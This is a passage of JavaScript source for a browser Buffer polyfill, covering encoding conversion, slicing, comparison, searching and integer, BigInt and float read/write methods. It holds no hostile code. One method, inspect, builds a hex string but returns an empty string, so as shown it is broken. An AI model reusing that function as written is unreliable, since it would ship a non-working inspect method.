base64ToBytes(string).length\n default:\n if (loweredCase) {\n return mustMatch ? -1 : utf8ToBytes(string).length // assume utf8\n }\n encoding = ('' + encoding).toLowerCase()\n loweredCase = true\n }\n }\n}\nBuffer.byteLength = byteLength\n\nfunction slowToString (encoding, start, end) {\n let loweredCase = false\n\n // No need to verify that \"this.length <= MAX_UINT32\" since it's a read-only\n // property of a typed array.\n\n // This behaves neither like String nor Uint8Array in that we set start/end\n // to their upper/lower bounds if the value passed is out of range.\n // undefined is handled specially as per ECMA-262 6th Edition,\n // Section 13.3.3.7 Runtime Semantics: KeyedBindingInitialization.\n if (start === undefined || start < 0) {\n start = 0\n }\n // Return early if start > this.length. Done here to prevent potential uint32\n // coercion fail below.\n if (start > this.length) {\n return ''\n }\n\n if (end === undefined || end > this.length) {\n end = this.length\n }\n\n if (end <= 0) {\n return ''\n }\n\n // Force coercion to uint32. This will also coerce falsey/NaN values to 0.\n end >>>= 0\n start >>>= 0\n\n if (end <= start) {\n return ''\n }\n\n if (!encoding) encoding = 'utf8'\n\n while (true) {\n switch (encoding) {\n case 'hex':\n return hexSlice(this, start, end)\n\n case 'utf8':\n case 'utf-8':\n return utf8Slice(this, start, end)\n\n case 'ascii':\n return asciiSlice(this, start, end)\n\n case 'latin1':\n case 'binary':\n return latin1Slice(this, start, end)\n\n case 'base64':\n return base64Slice(this, start, end)\n\n case 'ucs2':\n case 'ucs-2':\n case 'utf16le':\n case 'utf-16le':\n return utf16leSlice(this, start, end)\n\n default:\n if (loweredCase) throw new TypeError('Unknown encoding: ' + encoding)\n encoding = (encoding + '').toLowerCase()\n loweredCase = true\n }\n }\n}\n\n// This property is used by `Buffer.isBuffer` (and the `is-buffer` npm package)\n// to detect a Buffer instance. It's not possible to use `instanceof Buffer`\n// reliably in a browserify context because there could be multiple different\n// copies of the 'buffer' package in use. This method works even for Buffer\n// instances that were created from another copy of the `buffer` package.\n// See: https://github.com/feross/buffer/issues/154\nBuffer.prototype._isBuffer = true\n\nfunction swap (b, n, m) {\n const i = b[n]\n b[n] = b[m]\n b[m] = i\n}\n\nBuffer.prototype.swap16 = function swap16 () {\n const len = this.length\n if (len % 2 !== 0) {\n throw new RangeError('Buffer size must be a multiple of 16-bits')\n }\n for (let i = 0; i < len; i += 2) {\n swap(this, i, i + 1)\n }\n return this\n}\n\nBuffer.prototype.swap32 = function swap32 () {\n const len = this.length\n if (len % 4 !== 0) {\n throw new RangeError('Buffer size must be a multiple of 32-bits')\n }\n for (let i = 0; i < len; i += 4) {\n swap(this, i, i + 3)\n swap(this, i + 1, i + 2)\n }\n return this\n}\n\nBuffer.prototype.swap64 = function swap64 () {\n const len = this.length\n if (len % 8 !== 0) {\n throw new RangeError('Buffer size must be a multiple of 64-bits')\n }\n for (let i = 0; i < len; i += 8) {\n swap(this, i, i + 7)\n swap(this, i + 1, i + 6)\n swap(this, i + 2, i + 5)\n swap(this, i + 3, i + 4)\n }\n return this\n}\n\nBuffer.prototype.toString = function toString () {\n const length = this.length\n if (length === 0) return ''\n if (arguments.length === 0) return utf8Slice(this, 0, length)\n return slowToString.apply(this, arguments)\n}\n\nBuffer.prototype.toLocaleString = Buffer.prototype.toString\n\nBuffer.prototype.equals = function equals (b) {\n if (!Buffer.isBuffer(b)) throw new TypeError('Argument must be a Buffer')\n if (this === b) return true\n return Buffer.compare(this, b) === 0\n}\n\nBuffer.prototype.inspect = function inspect () {\n let str = ''\n const max = exports.INSPECT_MAX_BYTES\n str = this.toString('hex', 0, max).replace(/(.{2})/g, '$1 ').trim()\n if (this.length > max) str += ' ... '\n return ''\n}\nif (customInspectSymbol) {\n Buffer.prototype[customInspectSymbol] = Buffer.prototype.inspect\n}\n\nBuffer.prototype.compare = function compare (target, start, end, thisStart, thisEnd) {\n if (isInstance(target, Uint8Array)) {\n target = Buffer.from(target, target.offset, target.byteLength)\n }\n if (!Buffer.isBuffer(target)) {\n throw new TypeError(\n 'The \"target\" argument must be one of type Buffer or Uint8Array. ' +\n 'Received type ' + (typeof target)\n )\n }\n\n if (start === undefined) {\n start = 0\n }\n if (end === undefined) {\n end = target ? target.length : 0\n }\n if (thisStart === undefined) {\n thisStart = 0\n }\n if (thisEnd === undefined) {\n thisEnd = this.length\n }\n\n if (start < 0 || end > target.length || thisStart < 0 || thisEnd > this.length) {\n throw new RangeError('out of range index')\n }\n\n if (thisStart >= thisEnd && start >= end) {\n return 0\n }\n if (thisStart >= thisEnd) {\n return -1\n }\n if (start >= end) {\n return 1\n }\n\n start >>>= 0\n end >>>= 0\n thisStart >>>= 0\n thisEnd >>>= 0\n\n if (this === target) return 0\n\n let x = thisEnd - thisStart\n let y = end - start\n const len = Math.min(x, y)\n\n const thisCopy = this.slice(thisStart, thisEnd)\n const targetCopy = target.slice(start, end)\n\n for (let i = 0; i < len; ++i) {\n if (thisCopy[i] !== targetCopy[i]) {\n x = thisCopy[i]\n y = targetCopy[i]\n break\n }\n }\n\n if (x < y) return -1\n if (y < x) return 1\n return 0\n}\n\n// Finds either the first index of `val` in `buffer` at offset >= `byteOffset`,\n// OR the last index of `val` in `buffer` at offset <= `byteOffset`.\n//\n// Arguments:\n// - buffer - a Buffer to search\n// - val - a string, Buffer, or number\n// - byteOffset - an index into `buffer`; will be clamped to an int32\n// - encoding - an optional encoding, relevant is val is a string\n// - dir - true for indexOf, false for lastIndexOf\nfunction bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (numberIsNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [val], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}\n\nfunction arrayIndexOf (arr, val, byteOffset, encoding, dir) {\n let indexSize = 1\n let arrLength = arr.length\n let valLength = val.length\n\n if (encoding !== undefined) {\n encoding = String(encoding).toLowerCase()\n if (encoding === 'ucs2' || encoding === 'ucs-2' ||\n encoding === 'utf16le' || encoding === 'utf-16le') {\n if (arr.length < 2 || val.length < 2) {\n return -1\n }\n indexSize = 2\n arrLength /= 2\n valLength /= 2\n byteOffset /= 2\n }\n }\n\n function read (buf, i) {\n if (indexSize === 1) {\n return buf[i]\n } else {\n return buf.readUInt16BE(i * indexSize)\n }\n }\n\n let i\n if (dir) {\n let foundIndex = -1\n for (i = byteOffset; i < arrLength; i++) {\n if (read(arr, i) === read(val, foundIndex === -1 ? 0 : i - foundIndex)) {\n if (foundIndex === -1) foundIndex = i\n if (i - foundIndex + 1 === valLength) return foundIndex * indexSize\n } else {\n if (foundIndex !== -1) i -= i - foundIndex\n foundIndex = -1\n }\n }\n } else {\n if (byteOffset + valLength > arrLength) byteOffset = arrLength - valLength\n for (i = byteOffset; i >= 0; i--) {\n let found = true\n for (let j = 0; j < valLength; j++) {\n if (read(arr, i + j) !== read(val, j)) {\n found = false\n break\n }\n }\n if (found) return i\n }\n }\n\n return -1\n}\n\nBuffer.prototype.includes = function includes (val, byteOffset, encoding) {\n return this.indexOf(val, byteOffset, encoding) !== -1\n}\n\nBuffer.prototype.indexOf = function indexOf (val, byteOffset, encoding) {\n return bidirectionalIndexOf(this, val, byteOffset, encoding, true)\n}\n\nBuffer.prototype.lastIndexOf = function lastIndexOf (val, byteOffset, encoding) {\n return bidirectionalIndexOf(this, val, byteOffset, encoding, false)\n}\n\nfunction hexWrite (buf, string, offset, length) {\n offset = Number(offset) || 0\n const remaining = buf.length - offset\n if (!length) {\n length = remaining\n } else {\n length = Number(length)\n if (length > remaining) {\n length = remaining\n }\n }\n\n const strLen = string.length\n\n if (length > strLen / 2) {\n length = strLen / 2\n }\n let i\n for (i = 0; i < length; ++i) {\n const parsed = parseInt(string.substr(i * 2, 2), 16)\n if (numberIsNaN(parsed)) return i\n buf[offset + i] = parsed\n }\n return i\n}\n\nfunction utf8Write (buf, string, offset, length) {\n return blitBuffer(utf8ToBytes(string, buf.length - offset), buf, offset, length)\n}\n\nfunction asciiWrite (buf, string, offset, length) {\n return blitBuffer(asciiToBytes(string), buf, offset, length)\n}\n\nfunction base64Write (buf, string, offset, length) {\n return blitBuffer(base64ToBytes(string), buf, offset, length)\n}\n\nfunction ucs2Write (buf, string, offset, length) {\n return blitBuffer(utf16leToBytes(string, buf.length - offset), buf, offset, length)\n}\n\nBuffer.prototype.write = function write (string, offset, length, encoding) {\n // Buffer#write(string)\n if (offset === undefined) {\n encoding = 'utf8'\n length = this.length\n offset = 0\n // Buffer#write(string, encoding)\n } else if (length === undefined && typeof offset === 'string') {\n encoding = offset\n length = this.length\n offset = 0\n // Buffer#write(string, offset[, length][, encoding])\n } else if (isFinite(offset)) {\n offset = offset >>> 0\n if (isFinite(length)) {\n length = length >>> 0\n if (encoding === undefined) encoding = 'utf8'\n } else {\n encoding = length\n length = undefined\n }\n } else {\n throw new Error(\n 'Buffer.write(string, encoding, offset[, length]) is no longer supported'\n )\n }\n\n const remaining = this.length - offset\n if (length === undefined || length > remaining) length = remaining\n\n if ((string.length > 0 && (length < 0 || offset < 0)) || offset > this.length) {\n throw new RangeError('Attempt to write outside buffer bounds')\n }\n\n if (!encoding) encoding = 'utf8'\n\n let loweredCase = false\n for (;;) {\n switch (encoding) {\n case 'hex':\n return hexWrite(this, string, offset, length)\n\n case 'utf8':\n case 'utf-8':\n return utf8Write(this, string, offset, length)\n\n case 'ascii':\n case 'latin1':\n case 'binary':\n return asciiWrite(this, string, offset, length)\n\n case 'base64':\n // Warning: maxLength not taken into account in base64Write\n return base64Write(this, string, offset, length)\n\n case 'ucs2':\n case 'ucs-2':\n case 'utf16le':\n case 'utf-16le':\n return ucs2Write(this, string, offset, length)\n\n default:\n if (loweredCase) throw new TypeError('Unknown encoding: ' + encoding)\n encoding = ('' + encoding).toLowerCase()\n loweredCase = true\n }\n }\n}\n\nBuffer.prototype.toJSON = function toJSON () {\n return {\n type: 'Buffer',\n data: Array.prototype.slice.call(this._arr || this, 0)\n }\n}\n\nfunction base64Slice (buf, start, end) {\n if (start === 0 && end === buf.length) {\n return base64.fromByteArray(buf)\n } else {\n return base64.fromByteArray(buf.slice(start, end))\n }\n}\n\nfunction utf8Slice (buf, start, end) {\n end = Math.min(buf.length, end)\n const res = []\n\n let i = start\n while (i < end) {\n const firstByte = buf[i]\n let codePoint = null\n let bytesPerSequence = (firstByte > 0xEF)\n ? 4\n : (firstByte > 0xDF)\n ? 3\n : (firstByte > 0xBF)\n ? 2\n : 1\n\n if (i + bytesPerSequence <= end) {\n let secondByte, thirdByte, fourthByte, tempCodePoint\n\n switch (bytesPerSequence) {\n case 1:\n if (firstByte < 0x80) {\n codePoint = firstByte\n }\n break\n case 2:\n secondByte = buf[i + 1]\n if ((secondByte & 0xC0) === 0x80) {\n tempCodePoint = (firstByte & 0x1F) << 0x6 | (secondByte & 0x3F)\n if (tempCodePoint > 0x7F) {\n codePoint = tempCodePoint\n }\n }\n break\n case 3:\n secondByte = buf[i + 1]\n thirdByte = buf[i + 2]\n if ((secondByte & 0xC0) === 0x80 && (thirdByte & 0xC0) === 0x80) {\n tempCodePoint = (firstByte & 0xF) << 0xC | (secondByte & 0x3F) << 0x6 | (thirdByte & 0x3F)\n if (tempCodePoint > 0x7FF && (tempCodePoint < 0xD800 || tempCodePoint > 0xDFFF)) {\n codePoint = tempCodePoint\n }\n }\n break\n case 4:\n secondByte = buf[i + 1]\n thirdByte = buf[i + 2]\n fourthByte = buf[i + 3]\n if ((secondByte & 0xC0) === 0x80 && (thirdByte & 0xC0) === 0x80 && (fourthByte & 0xC0) === 0x80) {\n tempCodePoint = (firstByte & 0xF) << 0x12 | (secondByte & 0x3F) << 0xC | (thirdByte & 0x3F) << 0x6 | (fourthByte & 0x3F)\n if (tempCodePoint > 0xFFFF && tempCodePoint < 0x110000) {\n codePoint = tempCodePoint\n }\n }\n }\n }\n\n if (codePoint === null) {\n // we did not generate a valid codePoint so insert a\n // replacement char (U+FFFD) and advance only 1 byte\n codePoint = 0xFFFD\n bytesPerSequence = 1\n } else if (codePoint > 0xFFFF) {\n // encode to utf16 (surrogate pair dance)\n codePoint -= 0x10000\n res.push(codePoint >>> 10 & 0x3FF | 0xD800)\n codePoint = 0xDC00 | codePoint & 0x3FF\n }\n\n res.push(codePoint)\n i += bytesPerSequence\n }\n\n return decodeCodePointsArray(res)\n}\n\n// Based on http://stackoverflow.com/a/22747272/680742, the browser with\n// the lowest limit is Chrome, with 0x10000 args.\n// We go 1 magnitude less, for safety\nconst MAX_ARGUMENTS_LENGTH = 0x1000\n\nfunction decodeCodePointsArray (codePoints) {\n const len = codePoints.length\n if (len <= MAX_ARGUMENTS_LENGTH) {\n return String.fromCharCode.apply(String, codePoints) // avoid extra slice()\n }\n\n // Decode in chunks to avoid \"call stack size exceeded\".\n let res = ''\n let i = 0\n while (i < len) {\n res += String.fromCharCode.apply(\n String,\n codePoints.slice(i, i += MAX_ARGUMENTS_LENGTH)\n )\n }\n return res\n}\n\nfunction asciiSlice (buf, start, end) {\n let ret = ''\n end = Math.min(buf.length, end)\n\n for (let i = start; i < end; ++i) {\n ret += String.fromCharCode(buf[i] & 0x7F)\n }\n return ret\n}\n\nfunction latin1Slice (buf, start, end) {\n let ret = ''\n end = Math.min(buf.length, end)\n\n for (let i = start; i < end; ++i) {\n ret += String.fromCharCode(buf[i])\n }\n return ret\n}\n\nfunction hexSlice (buf, start, end) {\n const len = buf.length\n\n if (!start || start < 0) start = 0\n if (!end || end < 0 || end > len) end = len\n\n let out = ''\n for (let i = start; i < end; ++i) {\n out += hexSliceLookupTable[buf[i]]\n }\n return out\n}\n\nfunction utf16leSlice (buf, start, end) {\n const bytes = buf.slice(start, end)\n let res = ''\n // If bytes.length is odd, the last 8 bits must be ignored (same as node.js)\n for (let i = 0; i < bytes.length - 1; i += 2) {\n res += String.fromCharCode(bytes[i] + (bytes[i + 1] * 256))\n }\n return res\n}\n\nBuffer.prototype.slice = function slice (start, end) {\n const len = this.length\n start = ~~start\n end = end === undefined ? len : ~~end\n\n if (start < 0) {\n start += len\n if (start < 0) start = 0\n } else if (start > len) {\n start = len\n }\n\n if (end < 0) {\n end += len\n if (end < 0) end = 0\n } else if (end > len) {\n end = len\n }\n\n if (end < start) end = start\n\n const newBuf = this.subarray(start, end)\n // Return an augmented `Uint8Array` instance\n Object.setPrototypeOf(newBuf, Buffer.prototype)\n\n return newBuf\n}\n\n/*\n * Need to make sure that buffer isn't trying to write out of bounds.\n */\nfunction checkOffset (offset, ext, length) {\n if ((offset % 1) !== 0 || offset < 0) throw new RangeError('offset is not uint')\n if (offset + ext > length) throw new RangeError('Trying to access beyond buffer length')\n}\n\nBuffer.prototype.readUintLE =\nBuffer.prototype.readUIntLE = function readUIntLE (offset, byteLength, noAssert) {\n offset = offset >>> 0\n byteLength = byteLength >>> 0\n if (!noAssert) checkOffset(offset, byteLength, this.length)\n\n let val = this[offset]\n let mul = 1\n let i = 0\n while (++i < byteLength && (mul *= 0x100)) {\n val += this[offset + i] * mul\n }\n\n return val\n}\n\nBuffer.prototype.readUintBE =\nBuffer.prototype.readUIntBE = function readUIntBE (offset, byteLength, noAssert) {\n offset = offset >>> 0\n byteLength = byteLength >>> 0\n if (!noAssert) {\n checkOffset(offset, byteLength, this.length)\n }\n\n let val = this[offset + --byteLength]\n let mul = 1\n while (byteLength > 0 && (mul *= 0x100)) {\n val += this[offset + --byteLength] * mul\n }\n\n return val\n}\n\nBuffer.prototype.readUint8 =\nBuffer.prototype.readUInt8 = function readUInt8 (offset, noAssert) {\n offset = offset >>> 0\n if (!noAssert) checkOffset(offset, 1, this.length)\n return this[offset]\n}\n\nBuffer.prototype.readUint16LE =\nBuffer.prototype.readUInt16LE = function readUInt16LE (offset, noAssert) {\n offset = offset >>> 0\n if (!noAssert) checkOffset(offset, 2, this.length)\n return this[offset] | (this[offset + 1] << 8)\n}\n\nBuffer.prototype.readUint16BE =\nBuffer.prototype.readUInt16BE = function readUInt16BE (offset, noAssert) {\n offset = offset >>> 0\n if (!noAssert) checkOffset(offset, 2, this.length)\n return (this[offset] << 8) | this[offset + 1]\n}\n\nBuffer.prototype.readUint32LE =\nBuffer.prototype.readUInt32LE = function readUInt32LE (offset, noAssert) {\n offset = offset >>> 0\n if (!noAssert) checkOffset(offset, 4, this.length)\n\n return ((this[offset]) |\n (this[offset + 1] << 8) |\n (this[offset + 2] << 16)) +\n (this[offset + 3] * 0x1000000)\n}\n\nBuffer.prototype.readUint32BE =\nBuffer.prototype.readUInt32BE = function readUInt32BE (offset, noAssert) {\n offset = offset >>> 0\n if (!noAssert) checkOffset(offset, 4, this.length)\n\n return (this[offset] * 0x1000000) +\n ((this[offset + 1] << 16) |\n (this[offset + 2] << 8) |\n this[offset + 3])\n}\n\nBuffer.prototype.readBigUInt64LE = defineBigIntMethod(function readBigUInt64LE (offset) {\n offset = offset >>> 0\n validateNumber(offset, 'offset')\n const first = this[offset]\n const last = this[offset + 7]\n if (first === undefined || last === undefined) {\n boundsError(offset, this.length - 8)\n }\n\n const lo = first +\n this[++offset] * 2 ** 8 +\n this[++offset] * 2 ** 16 +\n this[++offset] * 2 ** 24\n\n const hi = this[++offset] +\n this[++offset] * 2 ** 8 +\n this[++offset] * 2 ** 16 +\n last * 2 ** 24\n\n return BigInt(lo) + (BigInt(hi) << BigInt(32))\n})\n\nBuffer.prototype.readBigUInt64BE = defineBigIntMethod(function readBigUInt64BE (offset) {\n offset = offset >>> 0\n validateNumber(offset, 'offset')\n const first = this[offset]\n const last = this[offset + 7]\n if (first === undefined || last === undefined) {\n boundsError(offset, this.length - 8)\n }\n\n const hi = first * 2 ** 24 +\n this[++offset] * 2 ** 16 +\n this[++offset] * 2 ** 8 +\n this[++offset]\n\n const lo = this[++offset] * 2 ** 24 +\n this[++offset] * 2 ** 16 +\n this[++offset] * 2 ** 8 +\n last\n\n return (BigInt(hi) << BigInt(32)) + BigInt(lo)\n})\n\nBuffer.prototype.readIntLE = function readIntLE (offset, byteLength, noAssert) {\n offset = offset >>> 0\n byteLength = byteLength >>> 0\n if (!noAssert) checkOffset(offset, byteLength, this.length)\n\n let val = this[offset]\n let mul = 1\n let i = 0\n while (++i < byteLength && (mul *= 0x100)) {\n val += this[offset + i] * mul\n }\n mul *= 0x80\n\n if (val >= mul) val -= Math.pow(2, 8 * byteLength)\n\n return val\n}\n\nBuffer.prototype.readIntBE = function readIntBE (offset, byteLength, noAssert) {\n offset = offset >>> 0\n byteLength = byteLength >>> 0\n if (!noAssert) checkOffset(offset, byteLength, this.length)\n\n let i = byteLength\n let mul = 1\n let val = this[offset + --i]\n while (i > 0 && (mul *= 0x100)) {\n val += this[offset + --i] * mul\n }\n mul *= 0x80\n\n if (val >= mul) val -= Math.pow(2, 8 * byteLength)\n\n return val\n}\n\nBuffer.prototype.readInt8 = function readInt8 (offset, noAssert) {\n offset = offset >>> 0\n if (!noAssert) checkOffset(offset, 1, this.length)\n if (!(this[offset] & 0x80)) return (this[offset])\n return ((0xff - this[offset] + 1) * -1)\n}\n\nBuffer.prototype.readInt16LE = function readInt16LE (offset, noAssert) {\n offset = offset >>> 0\n if (!noAssert) checkOffset(offset, 2, this.length)\n const val = this[offset] | (this[offset + 1] << 8)\n return (val & 0x8000) ? val | 0xFFFF0000 : val\n}\n\nBuffer.prototype.readInt16BE = function readInt16BE (offset, noAssert) {\n offset = offset >>> 0\n if (!noAssert) checkOffset(offset, 2, this.length)\n const val = this[offset + 1] | (this[offset] << 8)\n return (val & 0x8000) ? val | 0xFFFF0000 : val\n}\n\nBuffer.prototype.readInt32LE = function readInt32LE (offset, noAssert) {\n offset = offset >>> 0\n if (!noAssert) checkOffset(offset, 4, this.length)\n\n return (this[offset]) |\n (this[offset + 1] << 8) |\n (this[offset + 2] << 16) |\n (this[offset + 3] << 24)\n}\n\nBuffer.prototype.readInt32BE = function readInt32BE (offset, noAssert) {\n offset = offset >>> 0\n if (!noAssert) checkOffset(offset, 4, this.length)\n\n return (this[offset] << 24) |\n (this[offset + 1] << 16) |\n (this[offset + 2] << 8) |\n (this[offset + 3])\n}\n\nBuffer.prototype.readBigInt64LE = defineBigIntMethod(function readBigInt64LE (offset) {\n offset = offset >>> 0\n validateNumber(offset, 'offset')\n const first = this[offset]\n const last = this[offset + 7]\n if (first === undefined || last === undefined) {\n boundsError(offset, this.length - 8)\n }\n\n const val = this[offset + 4] +\n this[offset + 5] * 2 ** 8 +\n this[offset + 6] * 2 ** 16 +\n (last << 24) // Overflow\n\n return (BigInt(val) << BigInt(32)) +\n BigInt(first +\n this[++offset] * 2 ** 8 +\n this[++offset] * 2 ** 16 +\n this[++offset] * 2 ** 24)\n})\n\nBuffer.prototype.readBigInt64BE = defineBigIntMethod(function readBigInt64BE (offset) {\n offset = offset >>> 0\n validateNumber(offset, 'offset')\n const first = this[offset]\n const last = this[offset + 7]\n if (first === undefined || last === undefined) {\n boundsError(offset, this.length - 8)\n }\n\n const val = (first << 24) + // Overflow\n this[++offset] * 2 ** 16 +\n this[++offset] * 2 ** 8 +\n this[++offset]\n\n return (BigInt(val) << BigInt(32)) +\n BigInt(this[++offset] * 2 ** 24 +\n this[++offset] * 2 ** 16 +\n this[++offset] * 2 ** 8 +\n last)\n})\n\nBuffer.prototype.readFloatLE = function readFloatLE (offset, noAssert) {\n offset = offset >>> 0\n if (!noAssert) checkOffset(offset, 4, this.length)\n return ieee754.read(this, offset, true, 23, 4)\n}\n\nBuffer.prototype.readFloatBE = function readFloatBE (offset, noAssert) {\n offset = offset >>> 0\n if (!noAssert) checkOffset(offset, 4, this.length)\n return ieee754.read(this, offset, false, 23, 4)\n}\n\nBuffer.prototype.readDoubleLE = function readDoubleLE (offset, noAssert) {\n offset = offset >>> 0\n if (!noAssert) checkOffset(offset, 8, this.length)\n return ieee754.read(this, offset, true, 52, 8)\n}\n\nBuffer.prototype.readDoubleBE = function readDoubleBE (offset, noAssert) {\n offset = offset >>> 0\n if (!noAssert) checkOffset(offset, 8, this.length)\n return ieee754.read(this, offset, false, 52, 8)\n}\n\nfunction checkInt (buf, value, offset, ext, max, min) {\n if (!Buffer.isBuffer(buf)) throw new TypeError('\"buffer\" argument must be a Buffer instance')\n if (value > max || value < min) throw new RangeError('\"value\" argument is out of bounds')\n if (offset + ext > buf.length) throw new RangeError('Index out of range')\n}\n\nBuffer.prototype.writeUintLE =\nBuffer.prototype.writeUIntLE = function writeUIntLE (value, offset, byteLength, noAssert) {\n value = +value\n offset = offset >>> 0\n byteLength = byteLength >>> 0\n if (!noAssert) {\n const maxBytes = Math.pow(2, 8 * byteLength) - 1\n checkInt(this, value, offset, byteLength, maxBytes, 0)\n }\n\n let mul = 1\n let i = 0\n this[offset] = value & 0xFF\n while (++i < byteLength && (mul *= 0x100)) {\n this[offset + i] = (value / mul) & 0xFF\n }\n\n return offset + byteLength\n}\n\nBuffer.prototype.writeUintBE =\nBuffer.prototype.writeUIntBE = function writeUIntBE (value, offset, byteLength, noAssert) {\n value = +value\n offset = offset >>> 0\n byteLength = byteLength >>> 0\n if (!noAssert) {\n const maxBytes = Math.pow(2, 8 * byteLength) - 1\n checkInt(this, value, offset, byteLength, maxBytes, 0)\n }\n\n let i = byteLength - 1\n let mul = 1\n this[offset + i] = value & 0xFF\n while (--i >= 0 && (mul *= 0x100)) {\n this[offset + i] = (value / mul) & 0xFF\n }\n\n return offset + byteLength\n}\n\nBuffer.prototype.writeUint8 =\nBuffer.prototype.writeUInt8 = function writeUInt8 (value, offset, noAssert) {\n value = +value\n offset = offset >>> 0\n if (!noAssert) checkInt(this, value, offset, 1, 0xff, 0)\n this[offset] = (value & 0xff)\n return offset + 1\n}\n\nBuffer.prototype.writeUint16LE =\nBuffer.prototype.writeUInt16LE = function writeUInt16LE (value, offset, noAssert) {\n value = +value\n offset = offset >>> 0\n if (!noAssert) checkInt(this, value, offset, 2, 0xffff, 0)\n this[offset] = (value & 0xff)\n this[offset + 1] = (value >>> 8)\n return offset + 2\n}\n\nBuffer.prototype.writeUint16BE =\nBuffer.prototype.writeUInt16BE = function writeUInt16BE (value, offset, noAssert) {\n value = +value\n offset = offset >>> 0\n if (!noAssert) checkInt(this, value, offset, 2, 0xffff, 0)\n this[offset] = (value >>> 8)\n this[offset + 1] = (value & 0xff)\n return offset + 2\n}\n\nBuffer.prototype.writeUint32LE =\nBuffer.prototype.writeUInt32LE = function writeUInt32LE (value, offset, noAssert) {\n value = +value\n offset = offset >>> 0\n if (!noAssert) checkInt(this, value, offset, 4, 0xffffffff, 0)\n this[offset + 3] = (value >>> 24)\n this[offset + 2] = (value >>> 16)\n this[offset + 1] = (value >>> 8)\n this[offset] = (value & 0xff)\n return offset + 4\n}\n\nBuffer.prototype.writeUint32BE =\nBuffer.prototype.writeUInt32BE = function writeUInt32BE (value, offset, noAssert) {\n value = +value\n offset = offset >>> 0\n if (!noAssert) checkInt(this, value, offset, 4, 0xffffffff, 0)\n this[offset] = (value >>> 24)\n this[offset + 1] = (value >>> 16)\n this[offset + 2] = (value >>> 8)\n this[offset + 3] = (value & 0xff)\n return offset + 4\n}\n\nfunction wrtBigUInt64LE (buf, value, offset, min, max) {\n checkIntBI(value, min, max, buf, offset, 7)\n\n let lo = Number(value & BigInt(0xffffffff))\n buf[offset++] = lo\n lo = lo >> 8\n buf[offset++] = lo\n lo = lo >> 8\n buf[offset++] = lo\n lo = lo >> 8\n buf[offset++] = lo\n let hi = Number(value >> BigInt(32) & BigInt(0xffffffff))\n buf[offset++] = hi\n hi = hi >> 8\n buf[offset++] = hi\n hi = hi >> 8\n buf[offset++] = hi\n hi = hi >> 8\n buf[offset++] = hi\n return offset\n}\n\nfunction wrtBigUInt64BE (buf, value, offset, min, max) {\n checkIntBI(value, min, max, buf, offset, 7)\n\n let lo = Number(value & BigInt(0xffffffff))\n buf[offset + 7] = lo\n lo = lo >> 8\n buf[offset + 6] = lo\n lo = lo >> 8\n buf[offset + 5] = lo\n lo = lo >> 8\n buf[offset + 4] = lo\n let hi = Number(value >> BigInt(32) & BigInt(0xffffffff))\n buf[offset + 3] = hi\n hi = hi >> 8\n buf[offset + 2] = hi\n hi = hi >> 8\n buf[offset + 1] = hi\n hi = hi >> 8\n buf[offset] = hi\n return offset + 8\n}\n\nBuffer.prototype.writeBigUInt64LE = defineBigIntMethod(function writeBigUInt64LE (value, offset = 0) {\n return wrtBigUInt64LE(this, value, offset, BigInt(0), BigInt('0xffffffffffffffff'))\n})\n\nBuffer.prototype.writeBigUInt64BE = defineBigIntMethod(function writeBigUInt64BE (value, offset = 0) {\n return wrtBigUInt64BE(this, value, offset, BigInt(0), BigInt('0xffffffffffffffff'))\n})\n\nBuffer.prototype.writeIntLE = function writeIntLE (value, offset, byteLength, noAssert) {\n value = +value\n offset = offset >>> 0\n if (!noAssert) {\n const limit = Math.pow(2, (8 * byteLength) - 1)\n\n checkInt(this, value, offset, byteLength, limit - 1, -limit)\n }\n\n let i = 0\n let mul = 1\n let sub = 0\n this[offset] = value & 0xFF\n while (++i < byteLength && (mul *= 0x100)) {\n if (value < 0 && sub === 0 && this[offset + i - 1] !== 0) {\n sub = 1\n }\n this[offset + i] = ((value / mul) >> 0) - sub & 0xFF\n }\n\n return offset + byteLength\n}\n\nBuffer.prototype.writeIntBE = function writeIntBE (value, offset, byteLength, noAssert) {\n value = +value\n offset = offset >>> 0\n if (!noAssert) {\n const limit = Math.pow(2, (8 * byteLength) - 1)\n\n checkInt(this, value, offset, byteLength, limit - 1, -limit)\n }\n\n let i = byteLength - 1\n let mul = 1\n let sub = 0\n this[offset + i] = value & 0xFF\n while (--i >= 0 && (mul *= 0x100)) {\n if (value < 0 && sub === 0 && this[offset + i + 1] !== 0) {\n sub = 1\n }\n this[offset + i] = ((value / mul) >> 0) - sub & 0xFF\n }\n\n return offset + byteLength\n}\n\nBuffer.prototype.writeInt8 = function writeInt8 (value, offset, noAssert) {\n value = +value\n offset = offset >>> 0\n if (!noAssert) checkInt(this, value, offset, 1, 0x7f, -0x80)\n if (value < 0) value = 0xff + value + 1\n this[offset] = (value & 0xff)\n return offset + 1\n}\n\nBuffer.prototype.writeInt16LE = function writeInt16LE (value, offset, noAssert) {\n value = +value\n offset = offset >>> 0\n if (!noAssert) checkInt(this, value, offset, 2, 0x7fff, -0x8000)\n this[offset] = (value & 0xff)\n this[offset + 1] = (value >>> 8)\n return offset + 2\n}\n\nBuffer.prototype.writeInt16BE = function 